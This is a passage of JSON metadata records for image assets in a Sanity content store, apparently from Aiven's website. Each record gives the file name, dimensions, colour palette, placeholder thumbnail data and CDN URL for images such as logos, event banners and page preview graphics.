:"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b6c8f1","foreground":"#000","population":0.92,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#926852","foreground":"#fff","population":0.38,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#395fb5","foreground":"#fff","population":4.8,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-live-london-postevent-3.png","path":"images/sczeoy4w/production/c7a92cba9e03b00c5fd25baa9ef92369da8722e8-1899x555.png","sha1hash":"c7a92cba9e03b00c5fd25baa9ef92369da8722e8","size":1777877,"uploadId":"vqkZZLbMUAI5wzQTI9dNDk6CdbQowPY0","url":"https://cdn.sanity.io/images/sczeoy4w/production/c7a92cba9e03b00c5fd25baa9ef92369da8722e8-1899x555.png"} {"_createdAt":"2023-09-15T11:53:59Z","_id":"image-c7bf39cfd74e724c87c9f4fc142836fa046fdb0d-800x481-gif","_rev":"kCpVRB4k8RYeMqmK07EUTZ","_type":"sanity.imageAsset","_updatedAt":"2023-09-15T11:53:59Z","assetId":"c7bf39cfd74e724c87c9f4fc142836fa046fdb0d","extension":"gif","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6632016632016633,"height":481,"width":800},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAMABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAQI/8QAHxAAAQQCAgMAAAAAAAAAAAAAAAECAxEEIRIUQVKR/8QAFgEBAQEAAAAAAAAAAAAAAAAAAAME/8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEQMRAD8Azw3Nka1G0xa8qg7snqz4SqDUkpmzJpX8ldWqpNAmAH//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#304267","foreground":"#fff","population":1.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c5c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#304267","foreground":"#fff","population":1.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b1c3d4","foreground":"#000","population":0.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#659fcd","foreground":"#fff","population":0.08,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#53649c","foreground":"#fff","population":0.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c82bc","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/gif","originalFilename":"app-demo.gif","path":"images/sczeoy4w/production/c7bf39cfd74e724c87c9f4fc142836fa046fdb0d-800x481.gif","sha1hash":"c7bf39cfd74e724c87c9f4fc142836fa046fdb0d","size":16088423,"uploadId":"1xiRWEkg7nKJ47IuxYKu8vY6b2rgYKd8","url":"https://cdn.sanity.io/images/sczeoy4w/production/c7bf39cfd74e724c87c9f4fc142836fa046fdb0d-800x481.gif"} {"_createdAt":"2023-01-11T12:38:43Z","_id":"image-c7d08f0a6f90e56c569e09edb205e8924642af6d-1200x630-jpg","_rev":"cOoKElpg4AEXyE6qxHvGzO","_type":"sanity.imageAsset","_updatedAt":"2023-01-11T12:38:43Z","assetId":"c7d08f0a6f90e56c569e09edb205e8924642af6d","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MVP~{5yZx^n3WAtmR*n2krbct-Q,S$W?$e","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABgADCP/EACYQAAIBAwMBCQAAAAAAAAAAAAECAwAEEQUUITEGExYiQUJhcbH/xAAWAQEBAQAAAAAAAAAAAAAAAAAEAgP/xAAhEQABAwMEAwAAAAAAAAAAAAABAAIDBBFBEiFRoVPB0f/aAAwDAQACEQMRAD8A6FlsyWd91OoPOAen1RKTtOJNzb6FLNc3yELiceUc0vRR38h56H1olqlrBHvTHGqEhTleDnPxRa2dzNEbDYvNr8Z9JEEbTdztwMLPxPrETMj6VJIwPLLnFVN7dQII+PaPyqqFI7yHpairjzEO/q//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#564f4b","foreground":"#fff","population":0.57,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#875936","foreground":"#fff","population":0.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f67b0c","foreground":"#fff","population":2.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4c4cc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9d764","foreground":"#000","population":0.06,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c5c8c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f67b0c","foreground":"#fff","population":2.16,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven_community_meta_preview.jpg","path":"images/sczeoy4w/production/c7d08f0a6f90e56c569e09edb205e8924642af6d-1200x630.jpg","sha1hash":"c7d08f0a6f90e56c569e09edb205e8924642af6d","size":40110,"uploadId":"FtXZBsKgk88BXTaSM9XvsqVRPKJbFmvp","url":"https://cdn.sanity.io/images/sczeoy4w/production/c7d08f0a6f90e56c569e09edb205e8924642af6d-1200x630.jpg"} {"_createdAt":"2022-11-21T10:39:56Z","_id":"image-c7eb20ae9584d73385de39cf3da1af41829e6472-1200x630-jpg","_rev":"PJutSls1mvFq6xuKwNcInx","_type":"sanity.imageAsset","_updatedAt":"2022-11-21T10:39:56Z","assetId":"c7eb20ae9584d73385de39cf3da1af41829e6472","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAwQA/8QAIhAAAgICAQMFAAAAAAAAAAAAAQIDBAARMQUSIRMiQVGR/8QAFwEAAwEAAAAAAAAAAAAAAAAAAQUGB//EABsRAAIDAQEBAAAAAAAAAAAAAAECAAMREgUV/9oADAMBAAIRAxEAPwC816skcbBFQhPcA3J+8O7YrdN6QJ0ISaWXsIdO7S65GUvr0U8D8wpoY7CKk6B1XyAfjIf6fFgLjRNYtDOnOmHRFexThlIcsy7YgaBO82UwxrHGqIoVRwBmxbb6LM5KjBCpYADZ/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8e1d0a","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ae240d","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740b","foreground":"#fff","population":8.02,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8e0a26","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6849c","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aca7a1","foreground":"#000","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740b","foreground":"#fff","population":8.02,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"TalonOne_Case_Study_meta_preview.jpg","path":"images/sczeoy4w/production/c7eb20ae9584d73385de39cf3da1af41829e6472-1200x630.jpg","sha1hash":"c7eb20ae9584d73385de39cf3da1af41829e6472","size":44789,"uploadId":"cLBReJvOwbdjYPaPXnh6TPAmCC1MKZ50","url":"https://cdn.sanity.io/images/sczeoy4w/production/c7eb20ae9584d73385de39cf3da1af41829e6472-1200x630.jpg"} {"_createdAt":"2023-02-16T09:43:12Z","_id":"image-c80b8ce7d78923f0b3a7afc5983325264060d3a3-800x191-png","_rev":"iop8tFFqgfe67JrEd6oNBX","_type":"sanity.imageAsset","_updatedAt":"2023-02-16T09:43:12Z","assetId":"c80b8ce7d78923f0b3a7afc5983325264060d3a3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DA0Dt.f.e,g6fmgSe+e+f-e+","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.18848167539267,"height":191,"width":800},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA+klEQVQYlS2QTSvEcRSFn09gpUyYwhisWLNXoqxkYZQMETIaL/ewYSV5mSmytPMJbHy8e/T7+y9ut3vOc2+nC+FF5AXkJuF5wqvIm6jSp5FnCM8hryD3kR+Qt5CXkNv1XmHahBsQfkTuoTwh3K9KvkE+Q7mLfIws5DvkZ5QDIm+Rr2uuhzIIXyCvg/xDeIg8JMpCBb6hLNol4SfkL+QPlO/In/++X5AHtfeN/IrcKQl/ke9RHiBvI68h76E8J3K/TniF8gi5W82RXcId5B2Up8iBfIi8XBKW6xsoJ5DHkEeRG8it6qfybN2nkAvTRJ5EHq+5opVftpBH/gD4MbTcxDdE2QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#394462","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04287e","foreground":"#fff","population":0.55,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0472fa","foreground":"#fff","population":16.51,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#024496","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7cb5fc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#46659a","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0472fa","foreground":"#fff","population":16.51,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-priceline.png","path":"images/sczeoy4w/production/c80b8ce7d78923f0b3a7afc5983325264060d3a3-800x191.png","sha1hash":"c80b8ce7d78923f0b3a7afc5983325264060d3a3","size":5785,"uploadId":"bGQNr7Tt2tRK7PhE29bRcpeMNNTt3UC3","url":"https://cdn.sanity.io/images/sczeoy4w/production/c80b8ce7d78923f0b3a7afc5983325264060d3a3-800x191.png"} {"_createdAt":"2024-02-29T15:30:23Z","_id":"image-c823f70cca4787f937727c783cc1a9743be498c6-1200x630-jpg","_rev":"7ECGUAuPhsugSh811UXjWY","_type":"sanity.imageAsset","_updatedAt":"2024-02-29T15:30:23Z","assetId":"c823f70cca4787f937727c783cc1a9743be498c6","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MHSx[$_OC8.SUbtQxbNGr@WBy@L3wIR5pd","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUGBP/EACIQAAEDAwQDAQAAAAAAAAAAAAECAwQABRESEyFBBjJCkf/EABYBAQEBAAAAAAAAAAAAAAAAAAcCBf/EABoRAAMAAwEAAAAAAAAAAAAAAAECAwAEEXH/2gAMAwEAAhEDEQA/AGkVUAMI1gFz64qs8KhW+4XhDbiQpnQTg9GocnLSBx+U8s0l6G1uxnFNuY9hRxKypVS69AxT3os8mCMQTjO7xjBucmOQcIWdPHXVFZJ82RJf3X3VLcIGVGiqvuSajMqcGZWvo1nJVZ+ke5//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5d726f","foreground":"#fff","population":0.21,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c795e","foreground":"#fff","population":0.3,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":15.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9bcec1","foreground":"#000","population":1.21,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6be77","foreground":"#000","population":0.55,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9d765d","foreground":"#fff","population":0.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":15.22,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"The_Total_Economic_Impact_Of_The_Aiven_Platform_meta_preview_image_1200x630-FR.jpg","path":"images/sczeoy4w/production/c823f70cca4787f937727c783cc1a9743be498c6-1200x630.jpg","sha1hash":"c823f70cca4787f937727c783cc1a9743be498c6","size":214336,"uploadId":"p8ONR4I11rrcrxy8ykkgxbxT3P6msC2G","url":"https://cdn.sanity.io/images/sczeoy4w/production/c823f70cca4787f937727c783cc1a9743be498c6-1200x630.jpg"} {"_createdAt":"2023-10-24T09:09:08Z","_id":"image-c90d19c445b8c816a4e755ddc4a43b459fc7c59e-1567x844-png","_rev":"zE08g5Yj02ino50zLhzW0i","_type":"sanity.imageAsset","_updatedAt":"2023-10-24T09:09:08Z","assetId":"c90d19c445b8c816a4e755ddc4a43b459fc7c59e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M96RZ-%KMujZog?dtQM_WYkDjXoNoLoMjr","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACZklEQVQokS2ReVPTQADF8wWgObrZbDbZJO0mrVOOenDJfZWCWEpobdNDelJ7Ae0I5RaL46AjKuOBI19WEWfev7/3fjOPEXAcGSnszSpmXvdvab4q8dWNQIv279GBQyt4+uBx13rYVax9oNXcpAK0ioBzrOS4YIxRaebRWGN87vXkfGcqdDwxfzI6czq1eLGw+jEU+bwY+boU/T67ct03fI7NupsUAakAUuWVAidnGBooTIf2ntnnq3Z3xb4Ir71bWnsfiV/F0t/imRs7dbORuV13fs89uxoc6ShmFRq7yLsPjV1RbzJmX+HpbDu0erISfbsc7YYiF+Ho5fPYVTR5bTs/7NSvjfTtsv1zfOHD4Oih5m/J5iG2jmV6gK2zO23/YDk43Hgy0Rqa3Bua7IxMn4zOvBmbu5hYuJwOf5oKfwmOXxqBI0y3oVGHRlPUm9DYkekBw6GYIL8AqgO1rGTkkaeMaU2hTcVqaf59I3Bk9J2p/mPoaQtqhcc5Xs7yclZQ8qJWY3pFuwfYPWLMBRMcyvA4Jyhlt1oFWkPUd6CnjegBoh1o7AhKkZOzPN68DyAVxgVtFm6wUpxDzn2lWy0DUhX1hqjXRL0OPbuSpy3qdR5vcijtVreAVhWUgqAUGQmt6ySu0yz25oC6yeP/MNBqglq6E1GLgLxyq2UOZVjk3F2lVXn8kpWSjIfYA2ZyIFg2+yvIKABSELUtqNeh0QCkxOOMoGQBKbnVAis5rJT4t5l3SYle0WaIkfTQlNef031FhZawWVGtOvFta/6WajVlb0n2ljCtiVqRlRIuGOdQmkVOL4z9hf8A53aeHHA+o/kAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#353166","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04176f","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d2d4e8","foreground":"#000","population":5.62,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2d4e8","foreground":"#000","population":5.62,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#949de4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#676e94","foreground":"#fff","population":1.45,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#242f90","foreground":"#fff","population":2.88,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"tensorflow_lab.png","path":"images/sczeoy4w/production/c90d19c445b8c816a4e755ddc4a43b459fc7c59e-1567x844.png","sha1hash":"c90d19c445b8c816a4e755ddc4a43b459fc7c59e","size":149695,"uploadId":"bp5vrKHu7PMggrRincHpCv6gWoFMAAnr","url":"https://cdn.sanity.io/images/sczeoy4w/production/c90d19c445b8c816a4e755ddc4a43b459fc7c59e-1567x844.png"} {"_createdAt":"2022-06-15T20:02:45Z","_id":"image-c91ee809bea87ccac7cb3046cbb2ed2559c9663e-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEeB1B","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:30:11Z","assetId":"c91ee809bea87ccac7cb3046cbb2ed2559c9663e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MSQ05O?wWrIp-oPDNFRjxVoz?FD%V@xuW=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADBklEQVQokRWMS1MaaRRA+3/Ochazn5VVjFWpymKGTKomMRqtSeIrlhFsMCoVGEYFRVRoHj6i0kA3Df1Bw3dv82xmTJR7UyxOndU5imh1f7UanRXTckJVs7ldrtpqxRCqYbbUui3VthyqEscqoKcC9FWQqAL0VHA9tQMjVbTc7abjhiQM1hD7s0rFEB9yha/l9Hm+m0prcJLKYCqtYUa7xnvdwqbTQ4ljBBwgtgW6zRLKpoFCOKhX6pjJFiCfu3RFwzb7ACFFrzSC55mie5zK8Ekqy8mTC06daly4vGfTcrgthwzoMUCPXcdgtDQ2btOcvTjjo6Mkh0Jh3g+HuVLIDUa2eaDYTdwqV22plxtcrtoTvdKgSlVQwwZqyyFJ9KiDHrU7PYJWnZoVjc6SEVIDmxTe+EihleXJzsoy38RjvfZVPqFI9AIdGIGEEU9jid7ULHHEgENGHLCwHb67uef762suZE45sLXBHxbf8s7Ca47Mv6LPK8uciuwP8snDUwXccQDcMYA7ZnDHBK7HMJ3JHkMbGJqCG8UUF4JzfBZc4r3gJs/NveH3S4v87+Y6xzdWKfhxnT9vB/rp+F5CAdcLgOvBdII4nLjQJ1cidTttAtsi6+6S9Pga3S79Qtn3M7T7aYVW19Zof2+XUokEhbeD9HZ+joPrf/cqF9F/FIRBAKEvXehyV8KkLx0adgR5bYuGdomsqzPKRTcpF3xJ2Z0lOozu0pcvUYrFYqSGQvTqrz8nCy99fL6/iF45sav07EYQLROlZXBPGDR2DP7fKfO31h1/b17zyMiyfXnE1UyMS+dR1o5jfBCL8G54mzeWF3j1zQyfBGcYC+9cqifDyqh8NY+3+YJzlze75lXpQXzVH5vX+pMo6iTyOtk5/bGe1R/Mi+qonK61bk5qpexhrXAcqeXia7XSwe9mL/ei/lTduuRG+p3yX+3mp2G1ONs3Cs/HVvG3R1H0kcj7SOR8ZE/RfCxysyy05yy0Pya25v9e1/wPtQv/N+PA/1T55Gdj6wXXD5+Rrf38AzUA4JN2zxC6AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c4c44","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c4421","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ee9839","foreground":"#000","population":1.49,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4b4cc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6c94","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#897a64","foreground":"#fff","population":0.23,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ee9839","foreground":"#000","population":1.49,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"c91ee809bea87ccac7cb3046cbb2ed2559c9663e-1567x844.png","path":"images/sczeoy4w/production/c91ee809bea87ccac7cb3046cbb2ed2559c9663e-1567x844.png","sha1hash":"c91ee809bea87ccac7cb3046cbb2ed2559c9663e","size":513200,"uploadId":"nOyjcKbNiZ9dhIkjIihHuvdlJk7qb7oA","url":"https://cdn.sanity.io/images/sczeoy4w/production/c91ee809bea87ccac7cb3046cbb2ed2559c9663e-1567x844.png"} {"_createdAt":"2023-03-15T14:01:07Z","_id":"image-c93a3f49aace022f7e4941b9613777b6e050908f-800x800-jpg","_rev":"RksXZeZKLvjmDTh00dmyp0","_type":"sanity.imageAsset","_updatedAt":"2023-03-15T14:01:07Z","assetId":"c93a3f49aace022f7e4941b9613777b6e050908f","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGwABAAEFAQAAAAAAAAAAAAAAAAUCAwQGBwj/xAAkEAABBAIBAwUBAAAAAAAAAAABAAIDBAURBgcSQRMhIzFRkf/EABUBAQEAAAAAAAAAAAAAAAAAAAME/8QAGhEBAQADAQEAAAAAAAAAAAAAAQACEjEDEf/aAAwDAQACEQMRAD8A731OzNnCcZfPTd2SveI+7yAfxQnDstE2xXEdy3PJLoStkBI2VR1t5Ng8Zxx9XITB9xzgYomHbg4eT+BQPTzlGMNaK9kS2nHI4fJI8dpOvCPMy2J/Nx0fvbtSKzUtQW4GT1ZmSxPG2vYdgokgvA2WyVvK5Ce1fmdNNI4lznFY3qyCMRiR/p/fbv2/iIraQ7b5w7mudxWGFSldc2BshLWn319IiI0JRv/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3c4b","foreground":"#fff","population":5.58,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a2130","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8c6860","foreground":"#fff","population":7.34,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0a79a","foreground":"#000","population":1.49,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fccfc5","foreground":"#000","population":0.1,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8c6860","foreground":"#fff","population":7.34,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc6460","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"heikki-nousiainen.jpg","path":"images/sczeoy4w/production/c93a3f49aace022f7e4941b9613777b6e050908f-800x800.jpg","sha1hash":"c93a3f49aace022f7e4941b9613777b6e050908f","size":60467,"uploadId":"AL6mh7IBWanFXLD37IZcd3pfrNAFjJfJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/c93a3f49aace022f7e4941b9613777b6e050908f-800x800.jpg"} {"_createdAt":"2022-08-16T15:36:33Z","_id":"image-c93ab953daa6132857612e0b4b89c79f683a84ab-1200x630-jpg","_rev":"HosDT9snWCxUYvGzNaXwmi","_type":"sanity.imageAsset","_updatedAt":"2022-08-16T15:36:33Z","assetId":"c93ab953daa6132857612e0b4b89c79f683a84ab","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MHQ,E;_Mxuv}yER*IUxuxvRj-pD%aLxakC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUEBgj/xAAiEAACAgEDBAMAAAAAAAAAAAABAgMEAAURIRIxQWFRcZH/xAAWAQEBAQAAAAAAAAAAAAAAAAADAAH/xAAaEQACAwEBAAAAAAAAAAAAAAAAAQIRMSEy/9oADAMBAAIRAxEAPwDRlzTr7zSNHeKKx3A+MRahbu0L0dE2JmkkQuZiu6j195a1UCy55/ci6pSrXIum1CsgHbfxk/LNXJCOPXWjBjepbmZDsZFThvYwx1XhjrwrFCoSNRwB4wxYtVgbu9P/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#263041","foreground":"#fff","population":0.59,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9f4c0a","foreground":"#fff","population":0.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f48e10","foreground":"#000","population":1.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0c1aa","foreground":"#000","population":0.51,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f82c40","foreground":"#fff","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#55a959","foreground":"#fff","population":0.19,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f48e10","foreground":"#000","population":1.14,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Integrations_and_Connectors_pages_meta_preview.jpeg","path":"images/sczeoy4w/production/c93ab953daa6132857612e0b4b89c79f683a84ab-1200x630.jpg","sha1hash":"c93ab953daa6132857612e0b4b89c79f683a84ab","size":105444,"uploadId":"D6z6hbTqUs1Zua8sHCgskNQqZjT8ZBLZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/c93ab953daa6132857612e0b4b89c79f683a84ab-1200x630.jpg"} 